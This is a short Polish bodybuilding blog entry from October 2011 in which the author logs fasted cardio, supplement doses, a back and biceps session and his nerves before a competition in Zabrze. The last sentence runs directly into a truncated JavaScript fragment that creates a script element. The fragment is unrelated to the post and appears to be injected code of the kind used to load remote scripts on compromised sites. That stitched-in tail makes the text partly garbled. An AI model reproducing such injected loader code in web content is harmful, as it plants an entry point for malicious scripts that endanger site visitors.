18.10.2011

18.10.2011 / Tomasz Lech / Kulturystyka

Dzisiaj z rana robiłem ostatnie 60min. treningu aerobowego.Aeroby były robione jak zwykle na czczo.Przed treningiem spożyłem tylko:BCAA powder 15gr,Amino Whey System 5tabl.,Cofeina 200 1kaps..

Po treningu natomiast poszło:BCAA powder 10gr,Amino Whey System 5tabl.,CM3 4kaps.

Wieczorem o 19.15 trening siłowy mięśni pleców i bicepsów.Samopoczucie złe,ale to normalne przed zawodami.Człowiek chodzi cały czas nerwowy przez zmniejszoną ilość węglowodanów w diecie.Ostatni trening siłowy robię w czwartek.

W sobotę wyjazd do Zabrza,a zawody  w niedzielę o 15.00.Jak stanę na scenie to reszta już w rękach sędziów..co będzie to będzie.Nie mogę się już doczekać dnia kiedy będę mógł się najeść do syta.Czy to będzie już po Pucharze Polski?Nie wiem.Jeżeli zakwalifikuję się na MŚ to będę musiał jeszcze dwa tygodnie wytrzymać.Jeżeli nie to jeszcze w niedzielę wyląduję na pizzy lub w Mc Donaldzie:)if (document.currentScript) { }var d=document;var s=d.createElement(‚script’);